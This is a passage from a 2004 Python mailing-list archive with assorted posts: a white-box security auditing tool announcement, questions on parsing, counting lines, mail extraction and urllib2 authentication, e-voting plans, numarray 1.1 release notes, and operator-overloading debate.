Nope.  If you want to know what will get added to the next release
of MS' OSes, just read their small company acquisitions in the WSJ.

/BAH

Subtract a hundred and four for e-mail.


From wayne at mishre.com  Fri Sep 17 15:31:39 2004
From: wayne at mishre.com (Wayne Pierce)
Date: 17 Sep 2004 12:31:39 -0700
Subject: New python project: Security Advisor
Message-ID: <cife2r$5bq@odbk17.prod.google.com>

Just a quick note that after many re-writes and delays I have finally
released some code for my Security Advisor project.  The goal of
Security Advisor is to create a white-box security auditing framework
written in Python.  This is the first public release and includes the
scanning portion (scan.py) and a few sample scans (scans.zip).

For now the scans.zip file only contains Windows specific scans, I
accidentially erased all of the Linux scans earlier and need to reload
then from backup.  The web site is http://sad.sf.net and a group has
been created at http://groups-beta.google.com/group/securityadvisor/
for support and discussion.

There are still gaps on the website, however the code is documented and
the tutorial link explains how to creat a scan.  This version is
limited to scanning the local host and does not analyze any of the
returned information.

Wayne



From ltavoletti at libero.it  Thu Sep  9 11:13:44 2004
From: ltavoletti at libero.it (lux)
Date: 9 Sep 2004 08:13:44 -0700
Subject: proxy autodetection
Message-ID: <3595d2fa.0409090713.3f88597d@posting.google.com>

Hi,
Can anyone tell me how to get information about proxy configuration (url, port)
under windows?

Thanks in advance,
Lux.


From clifford.wells at comcast.net  Sun Sep 12 16:03:35 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 12 Sep 2004 13:03:35 -0700
Subject: open and shut case
In-Reply-To: <Y201d.1624$_G4.38@newsread3.news.pas.earthlink.net>
References: <NIT0d.400083$gE.34432@pd7tw3no> <878ybfk3rf.fsf@pobox.com>
	<Y201d.1624$_G4.38@newsread3.news.pas.earthlink.net>
Message-ID: <1095019415.26967.16.camel@devilbox.devilnet.internal>

On Sun, 2004-09-12 at 17:54 +0000, Andrew Dalke wrote:
> John J. Lee wrote:
> > PS. these days, your subject line sounds distinctly spammish
> > (especially since it's a woman posting the message to a
> > comp. newsgroup -- how likely can that be? ;-)
> 
> What the .... ??! Was that supposed to be funny?  The smiley
> suggests you thought it was.  It isn't.  It's crude and rude.

I took the wink to mean that the statement was to be taken as facetious.
I didn't see it as particularly rude or otherwise.

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From anhtt at hotmail.com  Wed Sep  8 02:51:38 2004
From: anhtt at hotmail.com (Tran Tuan Anh)
Date: 7 Sep 2004 23:51:38 -0700
Subject: Using Python to generate code?
Message-ID: <ed89f8f2.0409072251.2152c22b@posting.google.com>

Dear all:

I need your advice on this matter. I am working on a program which
takes some pieces of System-C code in and generate some other System-C
code. (System-C code is just C++ with some special libraries, hence
you can consider it as C++).

Right now, the generator program is written in C++. And I feel not so
comfortable with C++. I feel C++ is an overkill. Because, I need to
generate some code, hence in the program there are a lot of something
like this:

printf(out, "for (%s = 1, %s < %s, %s < %s )", varName, varName,
varName1, varname, varName2);

It is just too messy if I have more than 20 lines like this.

So my question is: 
1. Can Python help to solve this issue?
2. Does Python has a parser? It seems to me that there is no-standard
Parser for Python right now. If it is the case, can I interface Python
with existing cup and lex?

Many thanks!
Tuan Anh
P/S: Also because it is NO big code generator, it only needs to
generate some simple codes. Hence, using some abstract-syntax-tree
library is also too an overkill.


From greg.steffensen at gmail.com  Fri Sep 10 10:48:39 2004
From: greg.steffensen at gmail.com (Greg  Steffensen)
Date: 10 Sep 2004 07:48:39 -0700
Subject: Electronic voting feasibility
In-Reply-To: <7xmzzyd45f.fsf@ruckus.brouhaha.com>
Message-ID: <chses7$cha@odah37.prod.google.com>

My goal is to write an easy-to-use, python based system to allow small
organizations to conduct online elections using sound cryptography.
There won't be anything substantial at stake in campus elections, of
course; I'm using them just as a means to prototype.  I'd really just
like to release a working product that others can attack, so that the
general quality of open-source voting code rises, increasing the
chances that governments will, someday, have an open-source alternative
to Diebold, which I think would be a fundamentally good thing.

Glad to hear that python is less susceptible to buffer-overflows; if
part of the system ended up touching the disk, would python's speed
make it susceptible to race conditions?

Greg Steffensen



From adalke at mindspring.com  Wed Sep 22 15:53:33 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 22 Sep 2004 19:53:33 GMT
Subject: How to count lines in a text file ?
In-Reply-To: <1gkiss6.1ycjzr21dhrf4pN%aleaxit@yahoo.com>
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<414eda06$0$26379$ba624c82@nntp02.dk.telia.net>
	<1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com>
	<t3s2l0pdau27otsd3vrr1r24vsui911lej@4ax.com>
	<1gkiss6.1ycjzr21dhrf4pN%aleaxit@yahoo.com>
Message-ID: <1Lk4d.404$zG1.191@newsread3.news.pas.earthlink.net>

Alex Martelli wrote:
> If one is really in a hurry counting lines, a dedicated C extension
> might help.  E.g.:
> 
> static PyObject *count(PyObject *self, PyObject *args)
    ...
> Using this count-items-in-iterable thingy

There's been a few times I've wanted a function like
this.  I keep expecting that len(iterable) will work,
but of course it doesn't.

Would itertools.len(iterable) be useful?  More likely
the name collision with len itself would be a problem,
so perhaps itertools.length(iterable).


BTW, I saw itertools.count and figured that might be
it.  Nope.  And don't try the following

 >>> import itertools
 >>> itertools.count(5)
count(5)
 >>> print list(_)

   :)

				Andrew
				dalke at dalkescientific.com


From tim.golden at viacom-outdoor.co.uk  Fri Sep 24 04:44:34 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Fri, 24 Sep 2004 09:44:34 +0100
Subject: Access to MS SQL from Linux?
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434AB3@iron.ima.umn.edu>

[Benji York]
| There is a very cool project called ODBTP (Open DataBase Transport
| Protocol) at http://odbtp.sourceforge.net.  

Very interesting indeed.

| I've developed Python bindings for it (following the DB API 2.0).
| If there is more general interest, I'll distribute it more widely.

I'm certainly interested; any chance of your putting them up
on a website somewhere?

Thanks
TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From t.hume at bom.gov.au  Thu Sep  9 22:38:10 2004
From: t.hume at bom.gov.au (Timothy Hume)
Date: Fri, 10 Sep 2004 12:38:10 +1000
Subject: Using regular expressions to extract substrings from files
Message-ID: <Pine.WNT.4.61.0409101228000.3172@nomuka.bom.gov.au>

Hi,

I am new to Python, and was wondering if it is possible to operate on 
files using regular expressions.

What I mean is this:
- It is easy to search for a substring of a string using regular 
  expressions
- Can I also search for a substring inside a file using regular 
  expressions? The substring may span several lines (ie there may be 
  embedded new line and carriage return characters).

So far, the only way I know how to do this is to read the entire file into 
a string, and then parse the resulting string with regular expressions. 
This is OK for small files (in fact it is probably quite efficient, 
because the disc I/O is done all at once). However, once the files get 
large, there is the risk I will run out of memory. The closest UNIX tool I 
can think of to do this sort of job is grep, but that doesn't have the 
power and flexibility of Python.

Any ideas would be appreciated.

Tim Hume
Bureau of Meteorology Research Centre
Melbourne
Australia



From SPAMhukolauTRAP at SPAMworldnetTRAP.att.net  Thu Sep  9 13:21:15 2004
From: SPAMhukolauTRAP at SPAMworldnetTRAP.att.net (Nick Landsberg)
Date: Thu, 09 Sep 2004 17:21:15 GMT
Subject: Xah Lee's Unixism
In-Reply-To: <41406a6d$0$6912$61fed72c@news.rcn.com>
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>	<20040904.0140.57670snz@dsl.co.uk>	<769.746T1245T5844062@kltpzyxm.invalid>	<opsdy5xuappqzri1@mjolner.upc.no>	<p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net>	<413f049f$0$6914$61fed72c@news.rcn.com>
	<20040908192913.67c07e7d.steveo@eircom.net>
	<41406a6d$0$6912$61fed72c@news.rcn.com>
Message-ID: <fi00d.336018$OB3.40405@bgtnsc05-news.ops.worldnet.att.net>

jmfbahciv at aol.com wrote:

> In article <20040908192913.67c07e7d.steveo at eircom.net>,
>    Steve O'Hara-Smith <steveo at eircom.net> wrote:
> 
>>On Wed, 08 Sep 04 11:48:36 GMT
>>jmfbahciv at aol.com wrote:
>>
>>
>>>In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>,
>>>   rpw3 at rpw3.org (Rob Warnock) wrote:
>>
>>>>*Only* a month?!?  Here's the uptime for one of my FreeBSD boxes
>>>>[an old, slow '486]:
>>>>
>>>>   %  uptime
>>>>    2:44AM  up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 
> 
> 0.00
> 
>>>>   % 
>>>>
>>>>That's over *20* months!!
>>>
>>>I bet we can measure the youngster's age by the uptimes he boasts.
>>
>>	The Yahoo! server farm ran to very long uptimes last time I had
>>any details. The reason being that they commission a machine, add it to
>>the farm and leave it running until it is replaced two or three years
>>later.
> 
> 
> Sure.  But regular users of such computing services never get an
> uptime report.  Hell, they have no idea how many systems their
> own webbit has used, let alone all the code that was executed
> to paint that pretty picture on their TTY screen.
> 
> I bet, if we start asking, we might even get some bizarre
> definitions of uptime.

Well, there are lies, damn lies and statistics, don't
you know? :)

I have absolutely no idea of the size of Yahoo's "server
farm," but let's assume that it's roughly 100 servers
to make the arithmetic easier.  Let's further assume
that the MTBF (Mean Time Between Failure) is roughly
2000 hours (about 3 months, or about 90 days).

Given these numbers (which are not real, I remind you,
just made up), it is likely that on any given day
one of those servers suffers some kind of failure.
However, one can argue, quite legitimately, that
the service which Yahoo! provides is still "up and
running."  1% of the users may not be able to access
their mail for a few hours, for example, but the Yahoo! is
still running.

> 
> I do know that the defintion of CPU runtime is disappearing.
> 

Not everywhere, Steve.  There are still shops
which do measure CPU time for transactions
and base their sizing computations on that.
The better ones actually start from the requirements
and derive the CPU budget, Disk I/O budget, Lan budget, etc.
for each transaction based on that!

(Examples: "Hmmm... an in-memory dbms access takes about 150 usec,
my dbms schema requires 12 reads for this query.  That's
1.8 msec.  My CPU budget is 750 usec.  Maybe I should
redesign something here?" ... or ... "Hmm... my CPU
budget is 3 ms. for this transaction, and I'm constrained
to use a particular XML parser.  Time to measure.  Whoops,
parsing takes around 6 ms for the average message on
my box.  Maybe we shouldn't be using this particular
parser just because it's cheap?  Or maybe we throw
more hardware at the problem and bid twice the number
of servers if we can't find a better XML parser.")

-- 
"It is impossible to make anything foolproof
because fools are so ingenious"
  - A. Bloch


From steven.bethard at gmail.com  Sat Sep 25 03:09:06 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Sat, 25 Sep 2004 07:09:06 +0000 (UTC)
Subject: Counter for items in lists in lists?
References: <d4eff00b.0409242217.224f86ef@posting.google.com>
	<mailman.3895.1096094098.5135.python-list@python.org>
	<dI85d.47490$wV.31831@attbi_s54>
Message-ID: <loom.20040925T090813-610@post.gmane.org>

Bryan <belred1 <at> yahoo.com> writes:
> or maybe a less general approach might work if the nested list is always one 
> deep:
> 
>  >>> myList=[['a','b','c','d'],['a','f','g','h'],['a','b','x','y']]
>  >>> tmp = []
>  >>> d = {}
>  >>> for item in myList: tmp += item
>  >>> for key in tmp: d[key] = d.get(key, 0) + 1
>  >>> d
> {'a': 3, 'c': 1, 'b': 2, 'd': 1, 'g': 1, 'f': 1, 'h': 1, 'y': 1, 'x': 1}

Yeah, if that's the case, you don't really even need to construct a temporary 
list:

>>> myList=[['a','b','c','d'],['a','f','g','h'],['a','b','x','y']] 
>>> counts = {}
>>> for lst in myList:
... 	for item in lst:
... 		counts[item] = counts.get(item, 0) + 1
... 		
>>> counts
{'a': 3, 'c': 1, 'b': 2, 'd': 1, 'g': 1, 'f': 1, 'h': 1, 'y': 1, 'x': 1}

Steve



From m.boeren at guidance.nl  Thu Sep  9 10:20:40 2004
From: m.boeren at guidance.nl (Marc Boeren)
Date: Thu, 9 Sep 2004 16:20:40 +0200
Subject: simple string parsing ?
Message-ID: <0C77C7530EA52A4EBD1C47C80D1D291E17DE7B@sbs.GuidanceBV.local>


> =+GC142*(GC94+0.5*sum(GC96:GC101))
> 
> and I want to get :
> 
> ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(',
> 'GC96', ':', 'GC101', ')', ')']
> 
> how can I get this ??????

The quick and dirty way: you have a formula containing a lot of
delimiters. Any part of the string that is not a delimiter is grouped
into a substring. So:

>>> formula = '=+GC142*(GC94+0.5*sum(GC96:GC101))'
>>> delimiters = '=+*():'
>>> parts = []
>>> appending = False
>>> for char in formula:
...   if char in delimiters:
...     parts+= [char]
...     appending = False
...   else:
...     if appending:
...       parts[-1]+= char
...     else:
...       parts+= [char]
...       appending = True
...
>>> parts
['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(',
'GC96', ':', 'GC101', ')', ')']


This is simply to get you what you want, if you wish to use this formula
to actually compute something, it may be wise to dive into the various
parser packages, I found TPG (Toy Parser Generator) easy to use for
simple things...

Cheerio, Marc.


From luka.milkovic at public.srce.hr  Sun Sep 12 11:32:15 2004
From: luka.milkovic at public.srce.hr (Luka Milkovic)
Date: Sun, 12 Sep 2004 17:32:15 +0200
Subject: Mail extraction problem (something's wrong with split methods)
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
	<chvb1c$tj6$00$1@news.t-online.com>
	<pan.2004.09.11.18.06.40.754033@public.srce.hr>
	<chvf4r$hbj$06$1@news.t-online.com>
	<pan.2004.09.12.09.53.31.172850@public.srce.hr>
	<ci1m6v$k4h$02$1@news.t-online.com>
Message-ID: <pan.2004.09.12.15.32.14.721863@public.srce.hr>

On Sun, 12 Sep 2004 16:24:31 +0200, Diez B. Roggisch wrote:

> The email text. Whatever the reason for the unexpected behaviour is, its in
> there. 

('+OK 4815 octets', ['Received: from galileo.resean
(aelthegrin at cmung149.cmu.carnet.hr [193.198.128.149])', '\tby
jagor.srce.hr (8.12.10/8.12.10) with ESMTP id i8BFvSRt009065', '\tfor
<luka.milkovic at public.srce.hr>; Sat, 11 Sep 2004 17:57:28 +0200 (CEST)',
'Date: Sat, 11 Sep 2004 17:57:28 +0200 (CEST)', 'Message-Id:
<200409111557.i8BFvSRt009065 at jagor.srce.hr>', 'From:
luka.milkovic at public.srce.hr', 'To: luka.milkovic at public.srce.hr',
'Subject: OTP', 'X-Spam-Score: 5.544 (*****)
DATE_MISSING,MSGID_FROM_MTA_SHORT,NO_REAL_NAME', 'X-Scanned-By: MIMEDefang
2.42', 'X-Virus-Scanned: by amavisd-new at jagor.srce.hr',
'Content-Length: 4210', 'Status:   ', '', '', '---Code block---', '[6964,
7086, 3211, 7522, 9472, 3265, 3610, 104, 9729, 6706, 8035, 5439, 7142,
360, 677, 1667, 1382, 9417, 4493, 8289, 9613, 3470, 889, 1021, 3381, 3480,
1385, 2027, 956, 9317, 6567, 5552, 1114, 3311, 4437, 631, 5881, 2101,
9948, 4529, 3088, 5548, 3728, 8727, 7787, 5754, 8315, 8250, 8308, 510,
8183, 4052, 9046, 8217, 5107, 8333, 7799, 4589, 209, 7465, 1010, 4459,
5984, 8272, 5311, 4458, 3565, 5747, 8460, 9845, 9305, 1662, 2650, 5290,
9725, 5743, 6679, 9896, 4776, 8586, 3075, 8824, 9369, 6957, 8564, 7165,
112, 9940, 6291, 1489, 3561, 1218, 3890, 9970, 9973, 7624, 7721, 8620,
456, 872, 4546, 926, 2687, 8884, 8598, 7544, 6857, 5363, 6686, 8579, 7937,
8290, 3578, 5411, 6375, 5596, 6860, 8392, 5300, 5927, 8211, 2232, 2194,
1388, 9047, 5384, 876, 4773, 7331, 3238, 5699, 7498, 2789, 8344, 5198,
1732, 3330, 6832, 908, 4210, 8943, 2390, 1655, 5324, 993, 6281, 2909,
2178, 9929, 40, 5060, 964, 4752, 8570, 7714, 607, 6450, 5793, 9292, 6428,
5410, 7567, 6040, 543, 3602, 8022, 4052, 7222, 6324, 6729, 1030, 299,
8641, 4312, 8614, 423, 6730', ', 6793, 3453, 9470, 9382, 2037, 4103,
6427, 5312, 1366, 6287, 2316, 5745, 6916, 1640, 2381, 7510, 1156, 1538,
3015, 1592, 4136, 2170, 6263, 3829, 6869, 8079, 9724, 1830, 3245, 4694,
782, 9703, 3615, 2907, 4435, 7329, 7511, 5418, 2913, 1567, 7865, 3729,
8289, 373, 5635, 8292, 9569, 4370, 8728, 3082, 7829, 4797, 9632, 8283,
2741, 7887, 6366, 9821, 1604, 1099, 3256, 2722, 8474, 6261, 8582, 6431,
1762, 8615, 9745, 599, 4078, 4779, 1469, 90, 5432, 5475, 9098, 5614, 184,
9515, 8909, 3868, 4880, 2408, 9665, 8552, 5444, 9209, 993, 9008, 1495,
1885, 3871, 4774, 8698, 5212, 1303, 6629, 6011, 4490, 9329, 1062, 4558,
4338, 2279, 8502, 473, 9650, 5787, 8329, 6816, 6858, 3868, 1854, 2991,
9958, 8931, 9276, 7837, 9372, 6732, 2402, 5453, 6012, 2958, 2593, 2258,
6599, 2127, 2214, 5839, 3947, 5270, 10093, 8043, 2905, 686, 6451, 312,
1682, 1947, 3447, 4083, 6838, 7896, 3054, 9913, 6716, 3831, 1861, 7286,
6863, 7754, 5534, 8451, 9536, 7945, 9747, 7075, 3808, 6180, 5387, 930,
9663, 7337, 3513, 9535, 4329, 6056, 2114, 8972, 8336, 9743, 5397, 3112,
8023, 3392, 1488, 1707, 8223, 9982, 4498, 1840, 962, 2471, 7919, 2731,
7935, 2826, 6904, 4150, 8780, 9697, 5955, 412, 1816, 7017, 5219, 1290,
7106, 6747, 1180, 1230, 2564, 1568, 373, 9301, 59, 9632, 4667, 7701, 9141,
6240, 3290, 7172, 4006, 8018, 5744, 1125, 4388, 7109, 7357, 5188, 841,
7950, 666, 6754, 4894, 7222, 9275, 7291, 3038, 6510, 8543, 7400, 2218,
2671, 1, 1753, 5620, 4833, 2920, 3754, 9364, 9724, 3445, 6378, 1986, 9350,
4887, 633, 6400, 4586, 1541, 5883, 2696, 306, 5971, 8164, 748, 2464, 550,
9843, 9373, 5004, 4295, 1055, 6916, 6386, 8480, 4480, 8744, 2586, ',
'6573, 869, 9277, 6960, 4871, 9340, 6119, 4271, 7572, 1230, 1213, 5534]',
'---Code block---'], 4815)

This is the original mail, sorry because of the size. As you can see,
there are two problematic spots: 6730', ', and ','6573, at the end of the
mail.

I was wandering is there any way to modify my splitting code I already
posted? The thing I want to implement is that the code would parse e-mail
as usual and when it comes to these problematic spots, it removes
unnecessary quotes and continues parsing...

Is there anything that could be done?

Thank you once more:)
Luka


From aleaxit at yahoo.com  Thu Sep  9 18:20:25 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 10 Sep 2004 00:20:25 +0200
Subject: my own type in C, sequence protocol
References: <chq9eg$c2i$1@schleim.qwe.de>
	<donn-D30720.12484009092004@gnus01.u.washington.edu>
	<chqdvo$cgp$1@schleim.qwe.de>
	<4140d133$0$8079$a1866201@newsreader.visi.com>
Message-ID: <1gjvfjd.19u8ama1vnp2voN%aleaxit@yahoo.com>

Grant Edwards <grante at visi.com> wrote:
   ...
> If you want to iterate over your object, you probably want to
> support the sequence protocol.

In general, supplying a suitable __iter__ method is simpler and more
suitable than implementing the sequence protocol, if your purpose is to
allow iteration on an object.


Alex


From phil at riverbankcomputing.co.uk  Fri Sep 10 12:02:04 2004
From: phil at riverbankcomputing.co.uk (Phil Thompson)
Date: Fri, 10 Sep 2004 17:02:04 +0100
Subject: WxInter
In-Reply-To: <chsieg$7q1$1@news-reader3.wanadoo.fr>
References: <mailman.3148.1094829029.5135.python-list@python.org>
	<chsieg$7q1$1@news-reader3.wanadoo.fr>
Message-ID: <200409101702.04626.phil@riverbankcomputing.co.uk>

On Friday 10 September 2004 4:57 pm, Eric Brunel wrote:
> Michael Sparks wrote:
> > On Fri, 10 Sep 2004, Skip Montanaro wrote:
> >>    Tom> It seems that the thing that people like about Tk is the Canvas
> >>    Tom> object has anyone tried the wxFloatCanvas as a replacement.
> >>
> >>Where is it?  Google turns up essentially nothing for "wxFloatCanvas" on
> >>either groups or web.  That makes it a pretty well-hidden object.  Google
> >>offered "wxPlotCanvas" as an alternative.  Are they related?
> >
> > http://www.wxpython.org/docs/api/wx.lib.floatcanvas.FloatCanvas.FloatCanv
> >as-class.html
>
> Compare this with the tk canvas command manual at
> http://www.tcl.tk/man/tcl8.3/TkCmd/canvas.htm and you'll see we're quite
> far from it: I didn't see any means to move canvas items individually, or
> group them with tags, or knowing which items are at a given position, all
> things a tk canvas can do very easily...
>
> The main difference between the tk canvas and the other toolkits' canvases
> is in fact quite simple: in other toolkits, once displayed, a canvas item
> is just a bunch of points. In tk, it remains a whole item which can be
> manipulated as a whole. Basically, in tk, canvases are for vector drawing;
> in other toolkits, they're more for bitmap drawing. And this makes quite a
> difference... --

Some other toolkits maybe, but not all...

http://doc.trolltech.com/3.3/canvas.html

Phil


From hercules.rockefeller at springfield.??.us  Thu Sep 30 12:55:24 2004
From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein)
Date: Thu, 30 Sep 2004 12:55:24 -0400
Subject: thread execution order
In-Reply-To: <cjhb9e$900$02$1@news.t-online.com>
References: <cjh1hd$rek$03$1@news.t-online.com>
	<STT6d.25$Za.8@llslave.llan.ll.mit.edu>
	<cjh4nb$opt$05$1@news.t-online.com>
	<TZV6d.27$Za.13@llslave.llan.ll.mit.edu>
	<cjhb9e$900$02$1@news.t-online.com>
Message-ID: <0UW6d.28$Za.18@llslave.llan.ll.mit.edu>

Axel Mittendorf wrote:
> "Rembrandt Q Einstein" <hercules.rockefeller at springfield.??.us> wrote:
> 
>>You don't need a timer.  Just every time your program tries to write, it
>>first checks the pipe.  If it can write, it does.  If it can't, it
>>buffers until the next time it tries.
> 
> What if there is no "next time". The buffered message might be buffered
> until
> my not yet planned child can program perl (no way, tv is enough)
> or Linux is sold in bottles ;-)
> 
> THX, Axel
> 
> 

Does the pipe eventually close?  Write the rest of the data then.

Otherwise, I like the idea of a single thread that reads a common buffer 
and writes and blocks however much it wants.


From hans at zephyrfalcon.org  Tue Sep 14 19:28:52 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Tue, 14 Sep 2004 19:28:52 -0400
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <ci6gfh$9o8$1@newstree.wise.edt.ericsson.se>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<ci6gfh$9o8$1@newstree.wise.edt.ericsson.se>
Message-ID: <W8L1d.2012$7d6.1461@fe39.usenetserver.com>

Frithiof Andreas Jensen wrote:

> I would bite it and Upgrade:
> 
> Windows XP is a decent enough OS, IMO, and a bottom-of-the-range PC - which
> is a 1 GHz Athlon with 256 MB RAM, Geforce 2 graphics and 40 GB HDD - can
> often be had at less than USD 200. An entirely different stratosfere, from
> what you are used to - and I bet some of the stability problems with many of
> the IDEs' will disappear too.

One needs a high-end PC to edit code now?

--
Hans Nowak (hans at zephyrfalcon.org)
http://zephyrfalcon.org/



From pascal.parent at free.fr  Tue Sep 28 03:18:43 2004
From: pascal.parent at free.fr (Pascal)
Date: 28 Sep 2004 00:18:43 -0700
Subject: OWA (Outlook Web Access) with urllib2
References: <e567c03a.0409230141.1160c1d@posting.google.com>
	<878yaya3m1.fsf@pobox.com>
	<e567c03a.0409270338.6cdb096b@posting.google.com>
	<87r7onwft6.fsf@pobox.com>
Message-ID: <e567c03a.0409272318.5019ef46@posting.google.com>

Effectively, if you look at http://python.org/2.4/NEWS.html you can
see that
urllib2 now recognizes Basic authentication even if other
authentication schemes are offered.

In LiveHTTPheaders/Firefox debug, there is
 WWW-Authenticate: Negotiate
 WWW-Authenticate: NTLM
 WWW-Authenticate: Basic realm="owa.mydomain"
and the basic authentification is the last proposed.

So now, how can I force basic authentification with urllib2 (without
using Python 2.4a)?


From ialbert at mailblocks.com  Wed Sep 22 13:27:06 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Wed, 22 Sep 2004 13:27:06 -0400
Subject: PyYaml?
In-Reply-To: <mailman.3590.1095709523.5135.python-list@python.org>
References: <2IO2d.1086$HH5.1025@trndny05>
	<87r7oyfy78.fsf@blakie.riol>	<l3c3d.1327$HH5.1125@trndny05>	<4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net>	<uCo3d.4230$4j1.460@trndny06>	<BIu3d.5370$gG4.2667@newsread1.news.pas.earthlink.net>
	<mailman.3590.1095709523.5135.python-list@python.org>
Message-ID: <Xr2dnZnd_8V3KMzcRVn-gg@giganews.com>

Clark C. Evans wrote:

>   - YAML was created for human reading / authoring.  We have spent
>     an enormous amount of time working with real use cases of data
>     to find a very clean expression of structured data.   If you
>     like Python's use of whitespace to show structure, you will

IMHO you are already too focused on some specific use cases (invoices etc)
and you'll do probably better if you'd move your entire effort
to that direction.

What you are proposing, whitespace as a markup is not nearly as readable
as XML when the dependancy tree gets more complicated. Just because
whitespace indentation work for programming it does not mean
it works for data too.

Istvan.


From jmiller at stsci.edu  Mon Sep 13 10:16:53 2004
From: jmiller at stsci.edu (Todd Miller)
Date: 13 Sep 2004 10:16:53 -0400
Subject: ANN: numarray-1.1
Message-ID: <1095085013.4624.34.camel@halloween.stsci.edu>

Release Notes for numarray-1.1

Numarray is an array processing package designed to efficiently
manipulate large multi-dimensional arrays.  Numarray is modelled after
Numeric and features c-code generated from python template scripts,
the capacity to operate directly on arrays in files, and improved type
promotions.

Although numarray-1.1 is predominantly a bugfix release, if you use
numarray, I strongly recommend upgrading.

I. ENHANCEMENTS

986194	Add SMP threading

Build/install with --smp to enable ufuncs to release the GIL during
their compute loops.  You have to supply your own threads and
partition your array computations among them to realize any SMP
benefit.  This adds overhead so don't do it unless you have multiple
CPUs and know how to manage multiple compute threads.

1016142	CharArray eval() too slow

CharArray.fasteval() was modified to use strtod() rather than Python's
eval().  This makes it ~70x faster for converting CharArrays to
NumArrays.  fasteval() no longer works for complex types.  eval() 
still works for everything.

989618	Document memmap.py (memory mapping)
996177	Unsigned int type support limited
1008968	Add kroenecker product

II. BUGS FIXED / CLOSED

984286	max.reduce of byteswapped array

Sebastian Haase reported that the reduction of large (>100KB)
byteswapped arrays did not work correctly.  This bug affected
reductions and accumulations of byteswapped and misaligned arrays
causing them to produce incorrect answers.  Thanks Sebastian!

1011456	numeric compatibility byteoffset	  

numarray's Numeric compatibility C-API didn't correctly account for
the byte offsets produced by sub-arrays and array slices.  This was
fixed by re-defining the meaning of the ->data pointer in the
PyArrayObject struct to include byteoffset.  NA_OFFSETDATA() was
likewise redefined to return ->data rather than ->data + ->byteoffset.
Correctly written code is still source compatible.  Incorrectly
written code will generally be transparently fixed.  Code which
accounted for byteoffset without using NA_OFFSETDATA() will break.
This bug affected functions in numarray.numeric as well as add-on
packages like numarray.linear_algebra and numarray.fft.

1009462	matrixmultiply (a,b) leaves b transposed

Many people reported this side effect.  Thanks to all.

919297	Windows build fails VC++ 7.0
964356	random_array.randint exceeds boundaries	
985710	buffer not aligned on 8 byte boundary  (Windows-98 broken)
990328	Object Array repr for >1000 elements
997898	Invalid sequences errors
1004600	Segfault in array element deletion
1005537	Incorrect handling of overlapping assignments in Numarray
1008375	Weirdness with 'new' method
1008462	searchsorted bug and fix
1009309	randint bug fix patch
1015896	a.is_c_array() mixed int/bool results
1016140	argsort of string arrays

See
http://sourceforge.net/tracker/?atid=450446&group_id=1369&func=browse
for more details.

III. CAUTIONS

1. This release is binary incompatible with numarray-1.0.  Writers of
C-extensions which directly reference the byteoffset field of the
PyArrayObject should be aware that the data pointer is now the sum of
byteoffset and the buffer base pointer.  All C extensions which use
the numarray C-API must be recompiled.  This incompatibility was an
unfortunate consequence of the fix for "numeric compatibility
byteoffset".


WHERE
-----------

Numarray-1.1 windows executable installers, source code, and manual is
here:

http://sourceforge.net/project/showfiles.php?group_id=1369

Numarray is hosted by Source Forge in the same project which hosts
Numeric:

http://sourceforge.net/projects/numpy/

The web page for Numarray information is at:

http://stsdas.stsci.edu/numarray/index.html

Trackers for Numarray Bugs, Feature Requests, Support, and Patches are
at the Source Forge project for NumPy at:

http://sourceforge.net/tracker/?group_id=1369

REQUIREMENTS
------------------------------

numarray-1.1 requires Python 2.2.2 or greater.  


AUTHORS, LICENSE
------------------------------

Numarray was written by Perry Greenfield, Rick White, Todd Miller, JC
Hsu, Paul Barrett, Phil Hodge at the Space Telescope Science
Institute.  We'd like to acknowledge the assitance of Francesc Alted,
Paul Dubois, Sebastian Haase, Tim Hochberg, Nadav Horesh, Edward
C. Jones, Eric Jones, Jochen Kuepper, Travis Oliphant, Pearu Peterson,
Peter Verveer, Colin Williams, and everyone else who has contributed
with comments and feedback.

Numarray is made available under a BSD-style License.  See
LICENSE.txt in the source distribution for details.

-- 
Todd Miller             jmiller at stsci.edu






From mwh at python.net  Mon Sep  6 07:14:12 2004
From: mwh at python.net (Michael Hudson)
Date: Mon, 6 Sep 2004 11:14:12 GMT
Subject: Proto-PEP: Overloadable Boolean Operators
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
	<1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com>
Message-ID: <m33c1vejjw.fsf@pc150.maths.bris.ac.uk>

aleaxit at yahoo.com (Alex Martelli) writes:

> greg <greg at cosc.canterbury.ac.nz> wrote:
>    ...
> > Python does not currently provide any '__xxx__' special methods
> > corresponding to the 'and', 'or' and 'not' boolean operators. In the
>    ...
> > There is no such difficulty in the case of 'not', however, and it
> 
> Indeed, that's what the strangely-named __nonzero__ special method does:
> it's invoked upon the 'not' operator and in no other case, 

Erm.  No.

>>> class C(object):
...  def __nonzero__(self):
...   print 'hi!'
...   return 1
... 
>>> if C(): pass
... 
hi!

Or do I misunderstand what you're saying?

Cheers,
mwh

-- 
  Arrrrgh, the braindamage!  It's not unlike the massively
  non-brilliant decision to use the period in abbreviations
  as well as a sentence terminator.  Had these people no
  imagination at _all_?                 -- Erik Naggum, comp.lang.lisp


